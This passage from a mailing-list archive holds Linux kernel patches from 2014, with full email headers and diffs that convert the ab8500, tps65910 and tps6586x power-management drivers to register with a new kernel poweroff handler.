	linux-tegra@vger.kernel.org, linux-xtensa@linux-xtensa.org,
	openipmi-developer@lists.sourceforge.net,
	user-mode-linux-devel@lists.sourceforge.net,
	linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
	linux-ia64@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
	linux-metag@vger.kernel.org, linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org, linux-pm@vger.kernel.org,
	linux-sh@vger.kernel.org, xen-devel@lists.xenproject.org,
	Guenter Roeck <linux@roeck-us.net>,
	Linus Wallei
To: linux-kernel@vger.kernel.org
Original-X-From: linux-alpha-owner@vger.kernel.org Tue Oct 07 07:29:48 2014
Return-path: <linux-alpha-owner@vger.kernel.org>
Envelope-to: lnx-linux-alpha@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-alpha-owner@vger.kernel.org>)
	id 1XbNLH-0002Dp-W9
	for lnx-linux-alpha@plane.gmane.org; Tue, 07 Oct 2014 07:29:48 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753540AbaJGF3r (ORCPT <rfc822;lnx-linux-alpha@m.gmane.org>);
	Tue, 7 Oct 2014 01:29:47 -0400
Original-Received: from bh-25.webhostbox.net ([208.91.199.152]:40403 "EHLO
	bh-25.webhostbox.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753358AbaJGF3j (ORCPT
	<rfc822;linux-alpha@vger.kernel.org>); Tue, 7 Oct 2014 01:29:39 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=roeck-us.net; s=default;
	h=References:In-Reply-To:Message-Id:Date:Subject:Cc:To:From; bh=B13QiruosJUXTjC1met91TjwbeZT033r9zbwyDVICO0=;
	b=s/zgqHLQT5/OxdivG5Szff2rVLZOEZBqUmirHezRM4zOoQ1AkUzEzpf8Q+3zlV2/xPO7mZILY7+uNv3ASrayKYHDY72OxWpi6Z0YXnribf9VSJeS0CJCACCYC+vCm1UXHKxykFVi+8L/obQEOU576NxsFh5MOtokA68pZ+IZ2E4=;
Original-Received: from mailnull by bh-25.webhostbox.net with sa-checked (Exim 4.82)
	(envelope-from <linux@roeck-us.net>)
	id 1XbNL9-002bTP-5j
	for linux-alpha@vger.kernel.org; Tue, 07 Oct 2014 05:29:39 +0000
Original-Received: from 108-223-40-66.lightspeed.sntcca.sbcglobal.net ([108.223.40.66]:32907 helo=localhost)
	by bh-25.webhostbox.net with esmtpa (Exim 4.82)
	(envelope-from <linux@roeck-us.net>)
	id 1XbNKv-002aV4-95; Tue, 07 Oct 2014 05:29:25 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
X-Authenticated_sender: guenter@roeck-us.net
X-OutGoing-Spam-Status: No, score=2.8
X-Spam-Checker-Version: spamc_ctasd client on
	localost
X-Spam-Level: 
X-Spam-Status: No, score=0.0 required=50.0 tests=SpamClass_Unknown,
	VirusClass_Unknown autolearn=disabled
	version=1.0.0
X-CTCH-PVer: 0000001
X-CTCH-Spam: Unknown
X-CTCH-VOD: Unknown
X-CTCH-Flags: 0
X-CTCH-RefID: str=0001.0A020203.54337A43.0070,ss=1,re=0.000,recu=0.000,reip=0.000,cl=1,cld=1,fgs=0
X-CTCH-Score: 0.000
X-CTCH-ScoreCust: 0.000
X-CTCH-Rules: 
X-CTCH-SenderID: linux@roeck-us.net
X-CTCH-SenderID-Flags: 0
X-CTCH-SenderID-TotalMessages: 173
X-CTCH-SenderID-TotalSpam: 0
X-CTCH-SenderID-TotalSuspected: 0
X-CTCH-SenderID-TotalConfirmed: 0
X-CTCH-SenderID-TotalBulk: 0
X-CTCH-SenderID-TotalVirus: 0
X-CTCH-SenderID-TotalRecipients: 0
X-AntiAbuse: This header was added to track abuse, please include it with any abuse report
X-AntiAbuse: Primary Hostname - bh-25.webhostbox.net
X-AntiAbuse: Original Domain - vger.kernel.org
X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]
X-AntiAbuse: Sender Address Domain - roeck-us.net
X-Get-Message-Sender-Via: bh-25.webhostbox.net: mailgid no entry from get_relayhosts_entry
X-Source: 
X-Source-Args: 
X-Source-Dir: 
Original-Sender: linux-alpha-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-alpha.vger.kernel.org>
X-Mailing-List: linux-alpha@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.alpha:2433 gmane.linux.kernel:1802439 gmane.linux.drivers.devicetree:93029 gmane.linux.kernel.virtualization.lguest:1448 gmane.linux.acpi.devel:71262 gmane.linux.kernel.efi:4716 gmane.linux.ports.hexagon:780 gmane.linux.ports.ppc64.devel:105859 gmane.linux.ports.tegra:19462 gmane.linux.kernel.openipmi:2439 gmane.linux.uml.devel:14652 gmane.linux.ports.arm.kernel:362334 gmane.linux.ports.ia64:24469 gmane.linux.kernel.metag:300 gmane.linux.ports.mips.general:44150 gmane.linux.ports.parisc:6075 gmane.linux.power-management.general:50604 gmane.linux.ports.sh.devel:39773
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.alpha/2433>

Register with kernel poweroff handler instead of setting pm_power_off
directly. Register with a low priority value of 64 to reflect that
the original code only sets pm_power_off if it was not already set.

Cc: Linus Walleij <linus.walleij@linaro.org>
Cc: Lee Jones <lee.jones@linaro.org>
Cc: Samuel Ortiz <sameo@linux.intel.com>
Signed-off-by: Guenter Roeck <linux@roeck-us.net>
---
 drivers/mfd/ab8500-sysctrl.c | 26 +++++++++++++++-----------
 1 file changed, 15 insertions(+), 11 deletions(-)

diff --git a/drivers/mfd/ab8500-sysctrl.c b/drivers/mfd/ab8500-sysctrl.c
index 8e0dae5..677438f 100644
--- a/drivers/mfd/ab8500-sysctrl.c
+++ b/drivers/mfd/ab8500-sysctrl.c
@@ -6,6 +6,7 @@
 
 #include <linux/err.h>
 #include <linux/module.h>
+#include <linux/notifier.h>
 #include <linux/platform_device.h>
 #include <linux/pm.h>
 #include <linux/reboot.h>
@@ -23,7 +24,8 @@
 
 static struct device *sysctrl_dev;
 
-static void ab8500_power_off(void)
+static int ab8500_power_off(struct notifier_block *this, unsigned long unused1,
+			    void *unused2)
 {
 	sigset_t old;
 	sigset_t all;
@@ -34,11 +36,6 @@ static void ab8500_power_off(void)
 	struct power_supply *psy;
 	int ret;
 
-	if (sysctrl_dev == NULL) {
-		pr_err("%s: sysctrl not initialized\n", __func__);
-		return;
-	}
-
 	/*
 	 * If we have a charger connected and we're powering off,
 	 * reboot into charge-only mode.
@@ -83,8 +80,15 @@ shutdown:
 					 AB8500_STW4500CTRL1_SWRESET4500N);
 		(void)sigprocmask(SIG_SETMASK, &old, NULL);
 	}
+
+	return NOTIFY_DONE;
 }
 
+static struct notifier_block ab8500_poweroff_nb = {
+	.notifier_call = ab8500_power_off,
+	.priority = 64,
+};
+
 /*
  * Use the AB WD to reset the platform. It will perform a hard
  * reset instead of a soft reset. Write the reset reason to
@@ -185,6 +189,7 @@ static int ab8500_sysctrl_probe(struct platform_device *pdev)
 	struct ab8500 *ab8500 = dev_get_drvdata(pdev->dev.parent);
 	struct ab8500_platform_data *plat;
 	struct ab8500_sysctrl_platform_data *pdata;
+	int err;
 
 	plat = dev_get_platdata(pdev->dev.parent);
 
@@ -193,8 +198,9 @@ static int ab8500_sysctrl_probe(struct platform_device *pdev)
 
 	sysctrl_dev = &pdev->dev;
 
-	if (!pm_power_off)
-		pm_power_off = ab8500_power_off;
+	err = register_poweroff_handler(&ab8500_poweroff_nb);
+	if (err)
+		dev_err(&pdev->dev, "Failed to register poweroff handler\n");
 
 	pdata = plat->sysctrl;
 	if (pdata) {
@@ -226,11 +232,9 @@ static int ab8500_sysctrl_probe(struct platform_device *pdev)
 
 static int ab8500_sysctrl_remove(struct platform_device *pdev)
 {
+	unregister_poweroff_handler(&ab8500_poweroff_nb);
 	sysctrl_dev = NULL;
 
-	if (pm_power_off == ab8500_power_off)
-		pm_power_off = NULL;
-
 	return 0;
 }
 
-- 
1.9.1

--
To unsubscribe from this list: send the line "unsubscribe linux-alpha" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guenter Roeck <linux@roeck-us.net>
Newsgroups: gmane.linux.kernel,gmane.linux.drivers.devicetree,gmane.linux.kernel.virtualization.lguest,gmane.linux.acpi.devel,gmane.linux.ports.alpha,gmane.linux.kernel.efi,gmane.linux.ports.hexagon,gmane.linux.ports.ppc64.devel,gmane.linux.ports.tegra,gmane.linux.kernel.openipmi,gmane.linux.uml.devel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.power-management.general,gmane.linux.ports.sh.devel
Subject: [PATCH 17/44] mfd: tps65910: Register with kernel poweroff handler
Date: Mon,  6 Oct 2014 22:28:19 -0700
Lines: 95
Approved: news@gmane.org
Message-ID: <1412659726-29957-18-git-send-email-linux@roeck-us.net>
References: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1412659812 25938 80.91.229.3 (7 Oct 2014 05:30:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Oct 2014 05:30:12 +0000 (UTC)
Cc: adi-buildroot-devel@lists.sourceforge.net,
	devel@driverdev.osuosl.org, devicetree@vger.kernel.org,
	lguest@lists.ozlabs.org, linux-acpi@vger.kernel.org,
	linux-alpha@vger.kernel.org, linux-am33-list@redhat.com,
	linux-cris-kernel@axis.com, linux-efi@vger.kernel.org,
	linux-hexagon@vger.kernel.org, linux-m32r-ja@ml.linux-m32r.org,
	linuxppc-dev@lists.ozlabs.org, linux-s390@vger.kernel.org,
	linux-tegra@vger.kernel.org, linux-xtensa@linux-xtensa.org,
	openipmi-developer@lists.sourceforge.net,
	user-mode-linux-devel@lists.sourceforge.net,
	linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
	linux-ia64@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
	linux-metag@vger.kernel.org, linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org, linux-pm@vger.kernel.org,
	linux-sh@vger.kernel.org, xen-devel@lists.xenproject.org,
	Guenter Roeck <linux@roeck-us.net>,
	Samuel Ortiz
To: linux-kernel@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Oct 07 07:30:04 2014
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1XbNLW-0002V2-Vc
	for glk-linux-kernel-3@plane.gmane.org; Tue, 07 Oct 2014 07:30:03 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753530AbaJGF3q (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Tue, 7 Oct 2014 01:29:46 -0400
Original-Received: from bh-25.webhostbox.net ([208.91.199.152]:40384 "EHLO
	bh-25.webhostbox.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753468AbaJGF3i (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Tue, 7 Oct 2014 01:29:38 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=roeck-us.net; s=default;
	h=References:In-Reply-To:Message-Id:Date:Subject:Cc:To:From; bh=2z1No0RuAcrfRkWSirpx3cs8MJLNrK/64HCoGXq+Gqc=;
	b=R5m8YWt9kIeXb1aZ42VoFX6bw+lcJH6XP1p8oSfbGBxJMKj1F3MMZ/uNtI1Y2IUF6265cJWGhFYgWGPcgww6wdJX7ocFKMGyylVCena8XLPsQ/yowmlsS9+MGnO7R8T3eMZrtfd7ulRjdTWjxHW0MYLAVMJdmKfYESO8+V3AJC4=;
Original-Received: from mailnull by bh-25.webhostbox.net with sa-checked (Exim 4.82)
	(envelope-from <linux@roeck-us.net>)
	id 1XbNL7-002b9P-7f
	for linux-kernel@vger.kernel.org; Tue, 07 Oct 2014 05:29:37 +0000
Original-Received: from 108-223-40-66.lightspeed.sntcca.sbcglobal.net ([108.223.40.66]:32912 helo=localhost)
	by bh-25.webhostbox.net with esmtpa (Exim 4.82)
	(envelope-from <linux@roeck-us.net>)
	id 1XbNL6-002b7p-Oj; Tue, 07 Oct 2014 05:29:37 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
X-Authenticated_sender: guenter@roeck-us.net
X-OutGoing-Spam-Status: No, score=2.8
X-Spam-Checker-Version: spamc_ctasd client on
	localost
X-Spam-Level: 
X-Spam-Status: No, score=0.0 required=50.0 tests=SpamClass_Unknown,
	VirusClass_Unknown autolearn=disabled
	version=1.0.0
X-CTCH-PVer: 0000001
X-CTCH-Spam: Unknown
X-CTCH-VOD: Unknown
X-CTCH-Flags: 0
X-CTCH-RefID: str=0001.0A020208.54337A41.007A,ss=1,re=0.000,recu=0.000,reip=0.000,cl=1,cld=1,fgs=0
X-CTCH-Score: 0.000
X-CTCH-ScoreCust: 0.000
X-CTCH-Rules: 
X-CTCH-SenderID: linux@roeck-us.net
X-CTCH-SenderID-Flags: 0
X-CTCH-SenderID-TotalMessages: 156
X-CTCH-SenderID-TotalSpam: 0
X-CTCH-SenderID-TotalSuspected: 0
X-CTCH-SenderID-TotalConfirmed: 0
X-CTCH-SenderID-TotalBulk: 0
X-CTCH-SenderID-TotalVirus: 0
X-CTCH-SenderID-TotalRecipients: 0
X-AntiAbuse: This header was added to track abuse, please include it with any abuse report
X-AntiAbuse: Primary Hostname - bh-25.webhostbox.net
X-AntiAbuse: Original Domain - vger.kernel.org
X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]
X-AntiAbuse: Sender Address Domain - roeck-us.net
X-Get-Message-Sender-Via: bh-25.webhostbox.net: mailgid no entry from get_relayhosts_entry
X-Source: 
X-Source-Args: 
X-Source-Dir: 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1802440 gmane.linux.drivers.devicetree:93030 gmane.linux.kernel.virtualization.lguest:1449 gmane.linux.acpi.devel:71263 gmane.linux.ports.alpha:2434 gmane.linux.kernel.efi:4717 gmane.linux.ports.hexagon:781 gmane.linux.ports.ppc64.devel:105860 gmane.linux.ports.tegra:19463 gmane.linux.kernel.openipmi:2440 gmane.linux.uml.devel:14653 gmane.linux.ports.arm.kernel:362335 gmane.linux.ports.ia64:24470 gmane.linux.kernel.metag:301 gmane.linux.ports.mips.general:44151 gmane.linux.ports.parisc:6076 gmane.linux.power-management.general:50605 gmane.linux.ports.sh.devel:39774
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1802440>

Register with kernel poweroff handler instead of setting pm_power_off
directly. Register with a low priority value of 64 to reflect that
the original code only sets pm_power_off if it was not already set.

Cc: Samuel Ortiz <sameo@linux.intel.com>
Cc: Lee Jones <lee.jones@linaro.org>
Signed-off-by: Guenter Roeck <linux@roeck-us.net>
---
 drivers/mfd/tps65910.c       | 27 ++++++++++++++++++---------
 include/linux/mfd/tps65910.h |  3 +++
 2 files changed, 21 insertions(+), 9 deletions(-)

diff --git a/drivers/mfd/tps65910.c b/drivers/mfd/tps65910.c
index f243e75..0b114d3 100644
--- a/drivers/mfd/tps65910.c
+++ b/drivers/mfd/tps65910.c
@@ -23,6 +23,8 @@
 #include <linux/irq.h>
 #include <linux/irqdomain.h>
 #include <linux/mfd/core.h>
+#include <linux/notifier.h>
+#include <linux/pm.h>
 #include <linux/regmap.h>
 #include <linux/mfd/tps65910.h>
 #include <linux/of.h>
@@ -437,19 +439,20 @@ struct tps65910_board *tps65910_parse_dt(struct i2c_client *client,
 }
 #endif
 
-static struct i2c_client *tps65910_i2c_client;
-static void tps65910_power_off(void)
+static int tps65910_power_off(struct notifier_block *this,
+			      unsigned long unused1, void *unused2)
 {
-	struct tps65910 *tps65910;
-
-	tps65910 = dev_get_drvdata(&tps65910_i2c_client->dev);
+	struct tps65910 *tps65910 = container_of(this, struct tps65910,
+						 poweroff_nb);
 
 	if (tps65910_reg_set_bits(tps65910, TPS65910_DEVCTRL,
 			DEVCTRL_PWR_OFF_MASK) < 0)
-		return;
+		return NOTIFY_DONE;
 
 	tps65910_reg_clear_bits(tps65910, TPS65910_DEVCTRL,
 			DEVCTRL_DEV_ON_MASK);
+
+	return NOTIFY_DONE;
 }
 
 static int tps65910_i2c_probe(struct i2c_client *i2c,
@@ -500,9 +503,13 @@ static int tps65910_i2c_probe(struct i2c_client *i2c,
 	tps65910_ck32k_init(tps65910, pmic_plat_data);
 	tps65910_sleepinit(tps65910, pmic_plat_data);
 
-	if (pmic_plat_data->pm_off && !pm_power_off) {
-		tps65910_i2c_client = i2c;
-		pm_power_off = tps65910_power_off;
+	if (pmic_plat_data->pm_off) {
+		tps65910->poweroff_nb.notifier_call = tps65910_power_off;
+		tps65910->poweroff_nb.priority = 64;
+		ret = register_poweroff_handler(&tps65910->poweroff_nb);
+		if (ret)
+			dev_err(&i2c->dev,
+				"failed to register poweroff handler\n");
 	}
 
 	ret = mfd_add_devices(tps65910->dev, -1,
@@ -522,6 +529,8 @@ static int tps65910_i2c_remove(struct i2c_client *i2c)
 {
 	struct tps65910 *tps65910 = i2c_get_clientdata(i2c);
 
+	unregister_poweroff_handler(&tps65910->poweroff_nb);
+
 	tps65910_irq_exit(tps65910);
 	mfd_remove_devices(tps65910->dev);
 
diff --git a/include/linux/mfd/tps65910.h b/include/linux/mfd/tps65910.h
index 6483a6f..65cae2c 100644
--- a/include/linux/mfd/tps65910.h
+++ b/include/linux/mfd/tps65910.h
@@ -905,6 +905,9 @@ struct tps65910 {
 	/* IRQ Handling */
 	int chip_irq;
 	struct regmap_irq_chip_data *irq_data;
+
+	/* Poweroff handling */
+	struct notifier_block poweroff_nb;
 };
 
 struct tps65910_platform_data {
-- 
1.9.1


From - Thu Nov 08 21:10:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guenter Roeck <linux@roeck-us.net>
Newsgroups: gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.drivers.devicetree,gmane.linux.kernel.virtualization.lguest,gmane.linux.acpi.devel,gmane.linux.kernel.efi,gmane.linux.ports.hexagon,gmane.linux.ports.ppc64.devel,gmane.linux.ports.tegra,gmane.linux.kernel.openipmi,gmane.linux.uml.devel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.power-management.general,gmane.linux.ports.sh.devel
Subject: [PATCH 16/44] mfd: tps6586x: Register with kernel poweroff handler
Date: Mon,  6 Oct 2014 22:28:18 -0700
Lines: 95
Approved: news@gmane.org
Message-ID: <1412659726-29957-17-git-send-email-linux@roeck-us.net>
References: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1412659812 25941 80.91.229.3 (7 Oct 2014 05:30:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Oct 2014 05:30:12 +0000 (UTC)
Cc: adi-buildroot-devel@lists.sourceforge.net,
	devel@driverdev.osuosl.org, devicetree@vger.kernel.org,
	lguest@lists.ozlabs.org, linux-acpi@vger.kernel.org,
	linux-alpha@vger.kernel.org, linux-am33-list@redhat.com,
	linux-cris-kernel@axis.com, linux-efi@vger.kernel.org,
	linux-hexagon@vger.kernel.org, linux-m32r-ja@ml.linux-m32r.org,
	linuxppc-dev@lists.ozlabs.org, linux-s390@vger.kernel.org,
	linux-tegra@vger.kernel.org, linux-xtensa@linux-xtensa.org,
	openipmi-developer@lists.sourceforge.net,
	user-mode-linux-devel@lists.sourceforge.net,
	linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
	linux-ia64@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
	linux-metag@vger.kernel.org, linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org, linux-pm@vger.kernel.org,
	linux-sh@vger.kernel.org, xen-devel@lists.xenproject.org,
	Guenter Roeck <linux@roeck-us.net>,
	Samuel Ortiz
To: linux-kernel@vger.kernel.org
Original-X-From: linux-alpha-owner@vger.kernel.org Tue Oct 07 07:30:04 2014
Return-path: <linux-alpha-owner@vger.kernel.org>
Envelope-to: lnx-linux-alpha@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-alpha-owner@vger.kernel.org>)
	id 1XbNLX-0002V2-N6
	for lnx-linux-alpha@plane.gmane.org; Tue, 07 Oct 2014 07:30:04 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753589AbaJGF3y (ORCPT <rfc822;lnx-linux-alpha@m.gmane.org>);
	Tue, 7 Oct 2014 01:29:54 -0400
Original-Received: from bh-25.webhostbox.net ([208.91.199.152]:40485 "EHLO
	bh-25.webhostbox.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753547AbaJGF3r (ORCPT
	<rfc822;linux-alpha@vger.kernel.org>); Tue, 7 Oct 2014 01:29:47 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=roeck-us.net; s=default;
	h=References:In-Reply-To:Message-Id:Date:Subject:Cc:To:From; bh=Qh59DK4kcVAuuuLyySrApAGW5vSZ61rwTBVxl+gfAe0=;
	b=dRGFKrsS5vUKNSazgy+PGmplaSvfM5Xqq/8qXwsWzyC4bH2z/RYf9Skzc593VWfTnItRyfuVDBuBvd5Xmz7ElKHnFaZ87clxPCjsiihLvJmvtnbT6IF4hd3Pu2ZznnS2ZAfcgT8iVvUD/OY3+OnFij/iFpCuGhZc1AhQGWQt8Yo=;
Original-Received: from mailnull by bh-25.webhostbox.net with sa-checked (Exim 4.82)
	(envelope-from <linux@roeck-us.net>)
	id 1XbNLG-002byF-U5
	for linux-alpha@vger.kernel.org; Tue, 07 Oct 2014 05:29:47 +0000
Original-Received: from 108-223-40-66.lightspeed.sntcca.sbcglobal.net ([108.223.40.66]:32911 helo=localhost)
	by bh-25.webhostbox.net with esmtpa (Exim 4.82)
	(envelope-from <linux@roeck-us.net>)
	id 1XbNL4-002b5E-LJ; Tue, 07 Oct 2014 05:29:35 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
X-Authenticated_sender: guenter@roeck-us.net
X-OutGoing-Spam-Status: No, score=2.8
X-Spam-Checker-Version: spamc_ctasd client on
	localost
X-Spam-Level: 
X-Spam-Status: No, score=0.0 required=50.0 tests=SpamClass_Unknown,
	VirusClass_Unknown autolearn=disabled
	version=1.0.0
X-CTCH-PVer: 0000001
X-CTCH-Spam: Unknown
X-CTCH-VOD: Unknown
X-CTCH-Flags: 0
X-CTCH-RefID: str=0001.0A020202.54337A4B.0060,ss=1,re=0.000,recu=0.000,reip=0.000,cl=1,cld=1,fgs=0
X-CTCH-Score: 0.000
X-CTCH-ScoreCust: 0.000
X-CTCH-Rules: 
X-CTCH-SenderID: linux@roeck-us.net
X-CTCH-SenderID-Flags: 0
X-CTCH-SenderID-TotalMessages: 245
X-CTCH-SenderID-TotalSpam: 0
X-CTCH-SenderID-TotalSuspected: 0
X-CTCH-SenderID-TotalConfirmed: 0
X-CTCH-SenderID-TotalBulk: 0
X-CTCH-SenderID-TotalVirus: 0
X-CTCH-SenderID-TotalRecipients: 0
X-AntiAbuse: This header was added to track abuse, please include it with any abuse report
X-AntiAbuse: Primary Hostname - bh-25.webhostbox.net
X-AntiAbuse: Original Domain - vger.kernel.org
X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]
X-AntiAbuse: Sender Address Domain - roeck-us.net
X-Get-Message-Sender-Via: bh-25.webhostbox.net: mailgid no entry from get_relayhosts_entry
X-Source: 
X-Source-Args: 
X-Source-Dir: 
Original-Sender: linux-alpha-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-alpha.vger.kernel.org>
X-Mailing-List: linux-alpha@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.alpha:2435 gmane.linux.kernel:1802441 gmane.linux.drivers.devicetree:93031 gmane.linux.kernel.virtualization.lguest:1450 gmane.linux.acpi.devel:71264 gmane.linux.kernel.efi:4718 gmane.linux.ports.hexagon:782 gmane.linux.ports.ppc64.devel:105861 gmane.linux.ports.tegra:19464 gmane.linux.kernel.openipmi:2441 gmane.linux.uml.devel:14654 gmane.linux.ports.arm.kernel:362336 gmane.linux.ports.ia64:24471 gmane.linux.kernel.metag:302 gmane.linux.ports.mips.general:44152 gmane.linux.ports.parisc:6077 gmane.linux.power-management.general:50606 gmane.linux.ports.sh.devel:39775
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.alpha/2435>

Register with kernel poweroff handler instead of setting pm_power_off
directly. Register with a low priority value of 64 to reflect that
the original code only sets pm_power_off if it was not already set.

Cc: Samuel Ortiz <sameo@linux.intel.com>
Cc: Lee Jones <lee.jones@linaro.org>
Signed-off-by: Guenter Roeck <linux@roeck-us.net>
---
 drivers/mfd/tps6586x.c | 31 +++++++++++++++++++++++--------
 1 file changed, 23 insertions(+), 8 deletions(-)

diff --git a/drivers/mfd/tps6586x.c b/drivers/mfd/tps6586x.c
index 8e1dbc4..bc14509 100644
--- a/drivers/mfd/tps6586x.c
+++ b/drivers/mfd/tps6586x.c
@@ -21,10 +21,12 @@
 #include <linux/kernel.h>
 #include <linux/module.h>
 #include <linux/mutex.h>
+#include <linux/notifier.h>
 #include <linux/slab.h>
 #include <linux/err.h>
 #include <linux/i2c.h>
 #include <linux/platform_device.h>
+#include <linux/pm.h>
 #include <linux/regmap.h>
 #include <linux/of.h>
 
@@ -133,6 +135,8 @@ struct tps6586x {
 	u32			irq_en;
 	u8			mask_reg[5];
 	struct irq_domain	*irq_domain;
+
+	struct notifier_block	poweroff_nb;
 };
 
 static inline struct tps6586x *dev_to_tps6586x(struct device *dev)
@@ -472,13 +476,18 @@ static const struct regmap_config tps6586x_regmap_config = {
 	.cache_type = REGCACHE_RBTREE,
 };
 
-static struct device *tps6586x_dev;
-static void tps6586x_power_off(void)
+static int tps6586x_power_off(struct notifier_block *this,
+			      unsigned long unused1, void *unused2)
 {
-	if (tps6586x_clr_bits(tps6586x_dev, TPS6586X_SUPPLYENE, EXITSLREQ_BIT))
-		return;
+	struct tps6586x *tps6586x = container_of(this, struct tps6586x,
+						 poweroff_nb);
+
+	if (tps6586x_clr_bits(tps6586x->dev, TPS6586X_SUPPLYENE, EXITSLREQ_BIT))
+		return NOTIFY_DONE;
 
-	tps6586x_set_bits(tps6586x_dev, TPS6586X_SUPPLYENE, SLEEP_MODE_BIT);
+	tps6586x_set_bits(tps6586x->dev, TPS6586X_SUPPLYENE, SLEEP_MODE_BIT);
+
+	return NOTIFY_DONE;
 }
 
 static void tps6586x_print_version(struct i2c_client *client, int version)
@@ -575,9 +584,13 @@ static int tps6586x_i2c_probe(struct i2c_client *client,
 		goto err_add_devs;
 	}
 
-	if (pdata->pm_off && !pm_power_off) {
-		tps6586x_dev = &client->dev;
-		pm_power_off = tps6586x_power_off;
+	if (pdata->pm_off) {
+		tps6586x->poweroff_nb.notifier_call = tps6586x_power_off;
+		tps6586x->poweroff_nb.priority = 64;
+		ret = register_poweroff_handler(&tps6586x->poweroff_nb);
+		if (ret)
+			dev_err(&client->dev,
+				"failed to register poweroff handler\n");
 	}
 
 	return 0;
@@ -594,6 +607,8 @@ static int tps6586x_i2c_remove(struct i2c_client *client)
 {
 	struct tps6586x *tps6586x = i2c_get_clientdata(client);
 
+	unregister_poweroff_handler(&tps6586x->poweroff_nb);
+
 	tps6586x_remove_subdevs(tps6586x);
 	mfd_remove_devices(tps6586x->dev);
 	if (client->irq)
-- 
1.9.1

--
To unsubscribe from this list: send the line "unsubscribe linux-alpha" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guenter Roeck <linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>
Newsgroups: gmane.linux.kernel.efi,gmane.linux.kernel,gmane.linux.drivers.devicetree,gmane.linux.kernel.virtualization.lguest,gmane.linux.acpi.devel,gmane.linux.ports.alpha,gmane.linux.ports.hexagon,gmane.linux.ports.ppc64.devel,gmane.linux.ports.tegra,gmane.linux.kernel.openipmi,gmane.linux.uml.devel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.power-management.general,gmane.linux.ports.sh.devel
Subject: [PATCH 10/44] mfd: axp20x: Register with kernel poweroff handler
